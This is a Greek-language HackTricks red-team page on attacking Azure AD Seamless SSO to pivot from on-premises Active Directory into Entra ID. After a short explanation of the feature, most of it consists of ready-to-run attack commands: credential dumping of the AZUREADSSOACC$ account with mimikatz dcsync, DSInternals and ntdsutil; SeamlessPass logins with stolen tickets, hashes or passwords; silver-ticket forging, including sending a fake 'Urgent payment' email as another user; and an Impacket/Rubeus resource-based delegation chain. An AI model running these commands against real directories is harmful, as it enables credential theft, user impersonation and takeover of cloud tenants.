Az - Seamless SSO

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

Από τα έγγραφα: Το Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) συνδέει αυτόματα τους χρήστες όταν βρίσκονται σε εταιρικές συσκευές που είναι συνδεδεμένες στο εταιρικό σας δίκτυο. Όταν είναι ενεργοποιημένο, οι χρήστες δεν χρειάζεται να πληκτρολογούν τους κωδικούς τους για να συνδεθούν στο Azure AD, και συνήθως, ούτε καν τα ονόματα χρήστη τους. Αυτή η δυνατότητα παρέχει στους χρήστες σας εύκολη πρόσβαση στις εφαρμογές σας που βασίζονται στο cloud χωρίς να χρειάζονται επιπλέον τοπικά στοιχεία.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

Βασικά, το Azure AD Seamless SSO συνδέει τους χρήστες όταν βρίσκονται σε υπολογιστή που είναι συνδεδεμένος σε τοπικό τομέα.

Υποστηρίζεται και από τους PHS (Password Hash Sync) και PTA (Pass-through Authentication).

Το Desktop SSO χρησιμοποιεί Kerberos για την αυθεντικοποίηση. Όταν ρυθμιστεί, το Azure AD Connect δημιουργεί έναν λογαριασμό υπολογιστή που ονομάζεται AZUREADSSOACC$ στο τοπικό AD. Ο κωδικός πρόσβασης του λογαριασμού AZUREADSSOACC$ αποστέλλεται ως απλό κείμενο στο Entra ID κατά τη διάρκεια της ρύθμισης.

Τα εισιτήρια Kerberos είναι κρυπτογραφημένα χρησιμοποιώντας το NTHash (MD4) του κωδικού πρόσβασης και το Entra ID χρησιμοποιεί τον αποσταλμένο κωδικό πρόσβασης για να αποκρυπτογραφήσει τα εισιτήρια.

Entra ID εκθέτει ένα endpoint (https://autologon.microsoftazuread-sso.com) που δέχεται εισιτήρια Kerberos. Ο περιηγητής της μηχανής που είναι συνδεδεμένη σε τομέα προωθεί τα εισιτήρια σε αυτό το endpoint για SSO.

Enumeration

# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()

Pivoting: On-prem -> cloud

Warning

Το κύριο πράγμα που πρέπει να γνωρίζετε για αυτήν την επίθεση είναι ότι το να έχετε μόνο το TGT ή ένα συγκεκριμένο TGS ενός χρήστη που είναι συγχρονισμένος με το Entra ID είναι αρκετό για να αποκτήσετε πρόσβαση στους πόρους του cloud.
Αυτό συμβαίνει επειδή είναι ένα εισιτήριο που επιτρέπει σε έναν χρήστη να συνδεθεί στο cloud.

Για να αποκτήσει αυτό το εισιτήριο TGS, ο επιτιθέμενος χρειάζεται να έχει ένα από τα εξής:

  • TGS ενός συμβιβασμένου χρήστη: Εάν συμβιβάσετε τη συνεδρία ενός χρήστη με το εισιτήριο για το HTTP/autologon.microsoftazuread-sso.com στη μνήμη, μπορείτε να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στους πόρους του cloud.
  • TGT ενός συμβιβασμένου χρήστη: Ακόμα και αν δεν έχετε ένα, αλλά ο χρήστης έχει συμβιβαστεί, μπορείτε να αποκτήσετε ένα χρησιμοποιώντας το κόλπο ψεύτικης ανάθεσης TGT που έχει υλοποιηθεί σε πολλά εργαλεία όπως το Kekeo και το Rubeus.
  • Hash ή κωδικό πρόσβασης ενός συμβιβασμένου χρήστη: Το SeamlessPass θα επικοινωνήσει με τον ελεγκτή τομέα με αυτές τις πληροφορίες για να δημιουργήσει το TGT και στη συνέχεια το TGS.
  • Ένα χρυσό εισιτήριο: Εάν έχετε το κλειδί KRBTGT, μπορείτε να δημιουργήσετε το TGT που χρειάζεστε για τον επιτιθέμενο χρήστη.
  • Hash ή κωδικό πρόσβασης του λογαριασμού AZUREADSSOACC$: Με αυτές τις πληροφορίες και τον Αναγνωριστή Ασφαλείας (SID) του χρήστη που επιτίθεστε, είναι δυνατό να δημιουργήσετε ένα εισιτήριο υπηρεσίας και να αυθεντικοποιηθείτε με το cloud (όπως εκτελέστηκε στην προηγούμενη μέθοδο).

SeamlessPass

Όπως εξηγείται σε αυτήν την ανάρτηση ιστολογίου, το να έχετε οποιαδήποτε από τις προηγούμενες απαιτήσεις είναι πολύ εύκολο να χρησιμοποιήσετε το εργαλείο SeamlessPass για να αποκτήσετε πρόσβαση στους πόρους του cloud ως ο συμβιβασμένος χρήστης, ή ως οποιοσδήποτε χρήστης αν έχετε το AZUREADSSOACC$ hash ή κωδικό πρόσβασης.

Τέλος, με το TGT είναι δυνατό να χρησιμοποιήσετε το εργαλείο SeamlessPass με:

# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs

Περισσότερες πληροφορίες για να ρυθμίσετε το Firefox να λειτουργεί με seamless SSO μπορούν να βρεθούν σε αυτήν την ανάρτηση ιστολογίου.

Λήψη κατακερματισμών του λογαριασμού AZUREADSSOACC$

Ο κωδικός πρόσβασης του χρήστη AZUREADSSOACC$ ποτέ δεν αλλάζει. Επομένως, ένας διαχειριστής τομέα θα μπορούσε να παραβιάσει τον κατακερματισμό αυτού του λογαριασμού και στη συνέχεια να τον χρησιμοποιήσει για να δημιουργήσει ασημένια εισιτήρια για να συνδεθεί στο Azure με οποιονδήποτε συγχρονισμένο χρήστη on-prem:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Note

Με τις τρέχουσες πληροφορίες, θα μπορούσατε απλά να χρησιμοποιήσετε το εργαλείο SeamlessPass όπως αναφέρθηκε προηγουμένως για να αποκτήσετε azure και entraid tokens για οποιονδήποτε χρήστη στο domain. Θα μπορούσατε επίσης να χρησιμοποιήσετε τις προηγούμενες τεχνικές (και άλλες) για να αποκτήσετε το hash του κωδικού πρόσβασης του θύματος που θέλετε να μιμηθείτε αντί για τον λογαριασμό AZUREADSSOACC$.

Δημιουργία Silver Tickets

Με το hash μπορείτε τώρα να δημιουργήσετε silver tickets:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Χρήση Silver Tickets με Firefox

Για να χρησιμοποιήσετε το silver ticket, θα πρέπει να εκτελέσετε τα εξής βήματα:

  1. Εκκίνηση του Προγράμματος Περιήγησης: Πρέπει να εκκινήσετε το Mozilla Firefox.
  2. Ρύθμιση του Προγράμματος Περιήγησης:
  • Μεταβείτε στο about:config.
  • Ρυθμίστε την προτίμηση για network.negotiate-auth.trusted-uris στην καθορισμένη τιμή:
  • https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
  • Μεταβείτε στις ρυθμίσεις του Firefox Settings > Αναζητήστε Allow Windows single sign-on for Microsoft, work and school accounts και ενεργοποιήστε το.
  1. Πρόσβαση στην Ιστοσελίδα Εφαρμογής:
  • Επισκεφθείτε μια ιστοσελίδα εφαρμογής που είναι ενσωματωμένη με το AAD domain της οργάνωσης. Ένα κοινό παράδειγμα είναι login.microsoftonline.com.
  1. Διαδικασία Αυθεντικοποίησης:
  • Στην οθόνη σύνδεσης, θα πρέπει να εισαχθεί το όνομα χρήστη, αφήνοντας το πεδίο κωδικού πρόσβασης κενό.
  • Για να προχωρήσετε, πατήστε είτε TAB είτε ENTER.

Warning

Αυτό δεν παρακάμπτει το MFA αν είναι ενεργοποιημένο για τον χρήστη.

On-prem -> Cloud μέσω Resource Based Constrained Delegation

Για να εκτελέσετε την επίθεση απαιτείται:

  • WriteDACL / GenericWrite πάνω από AZUREADSSOACC$
  • Ένας λογαριασμός υπολογιστή που ελέγχετε (hash & password) - Μπορείτε να δημιουργήσετε έναν
  1. Βήμα 1 – Προσθέστε τον δικό σας λογαριασμό υπολογιστή
  • Δημιουργεί το ATTACKBOX$ και εκτυπώνει το SID/NTLM hash του. Οποιοσδήποτε χρήστης τομέα μπορεί να το κάνει αυτό ενώ το MachineAccountQuota > 0
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
  1. Βήμα 2 – Χορήγηση RBCD στο AZUREADSSOACC$ - Γράφει το SID της μηχανής σας στο msDS-AllowedToActOnBehalfOfOtherIdentity.
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$

# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
  1. Βήμα 3 – Δημιουργία TGS για οποιονδήποτε χρήστη (π.χ. alice)
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

# Produces alice.autologon.ccache

#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt

Μπορείτε τώρα να χρησιμοποιήσετε το TGS για να αποκτήσετε πρόσβαση σε πόρους του Azure ως ο χρήστης που προσποιείστε.

Δημιουργία εισιτηρίων Kerberos για χρήστες μόνο στο cloud

Εάν οι διαχειριστές του Active Directory έχουν πρόσβαση στο Azure AD Connect, μπορούν να ορίσουν SID για οποιονδήποτε χρήστη του cloud. Με αυτόν τον τρόπο, τα εισιτήρια Kerberos μπορούν να δημιουργηθούν και για χρήστες μόνο στο cloud. Η μόνη απαίτηση είναι ότι το SID είναι ένα σωστό SID.

Caution

Η αλλαγή του SID των χρηστών διαχειριστών μόνο στο cloud είναι τώρα μπλοκαρισμένη από τη Microsoft.
Για πληροφορίες, ελέγξτε https://aadinternals.com/post/on-prem_admin/

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks